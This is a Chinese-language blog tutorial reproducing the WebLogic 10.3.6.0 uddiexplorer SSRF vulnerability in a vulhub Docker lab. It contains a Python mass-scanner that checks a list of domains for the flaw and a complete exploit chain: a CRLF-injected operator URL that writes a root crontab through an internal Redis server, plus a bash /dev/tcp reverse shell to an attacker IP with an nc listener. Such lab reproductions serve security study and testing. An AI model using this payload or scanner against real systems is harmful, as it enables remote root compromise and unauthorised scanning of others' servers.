声明

好好学习,天天向上

漏洞描述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响范围

Oracle WebLogic Server 10.3.6.0

Oracle WebLogic Server 10.0.2.0

复现过程

这里使用10.3.6.0版本

使用vulhub

cd /app/vulhub-master/weblogic/ssrf/

使用docker启动

docker-compose up -d

等待一段时间环境才能成功启动,访问如下链接,无需登录即可查看uddiexplorer应用

http://your-ip:7001/uddiexplorer/

通过输入不通的URL(主要是operator参数)的回显信息,来判断探测内网端口的开放状态,进而知道内网开启的服务,同时加以利用

注入的URL如下

浏览器访问如下URL,访问的服务器是自身,当然能通了

http://192.168.239.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

得到回显信息

在这里插入图片描述

浏览器访问如下URL,访问的服务器是7000,当然步能通了

http://192.168.239.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000

得到回显信息

在这里插入图片描述

通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.26.0.2:6379可以连通(注意,这个IP是随机的,我是作弊了,直接进去docker里面看,ssrf的docker会启动两个容器):

在这里插入图片描述

自动化检测weblogic的ssrf(需要在当前目录下创建一个domain.txt文件,里面就写Weblogic的访问方式,保存为check_weblogic_ssrf.py)

domain.txt内容

http://192.168.239.129:7001/
#!/usr/bin/env python  

# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()

class Test(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        
    def check(self,domain,ip):
        payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
        url = domain + payload
        try:
            html = requests.get(url=url, timeout=15, verify=False).content
            m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
            if m:
                mutex.acquire()
                with open('ssrf1.txt','a+') as f:
                    print "%s has weblogic ssrf." % domain
                    f.write("%s has weblogic ssrf." % domain)
                mutex.release()
        except Exception,e:
            print e
            
    def get_registry(self,domain):
        payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
        url = domain + payload
        try:
            html = requests.get(url=url, timeout=15, verify=False).content
            m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
            if m:
                return m.group(1)
        except Exception,e:
            print e

    def run(self):
        while not self.queue.empty():
            domain = self.queue.get()
            mutex.acquire()
            print domain
            mutex.release()
            ip = self.get_registry(domain)
            self.check(domain,ip)
            self.queue.task_done()
if __name__ == '__main__':
    with open('domain.txt','r') as f:
        lines = f.readlines()
    for line in lines:
        queue.put(line.strip())
    for x in xrange(1,50):
        t = Test(queue)
        t.setDaemon(True)
        t.start()
    queue.join()

运行

python check_weblogic_ssrf.py

在这里插入图片描述

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.22.0.2:6379可以连通(这里和上面的redis的IP不一致了,是因为我重启了docker,应该是自动分配的IP,所以IP就改变了)

修改operator参数

修改前

http://192.168.239.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000

构思redis反弹shell命令

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.239.139/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

绕过拦截,进行编码(自行修改IP和端口)

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.239.139%2F4444%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

组合后,payload为

http://172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.239.139%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

kali开启端口监听

nc -lvvp 4444

浏览器访问

http://192.168.239.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.239.139%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

在这里插入图片描述

访问后成功反弹

在这里插入图片描述

使用完后关闭镜像

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build
docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down
Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐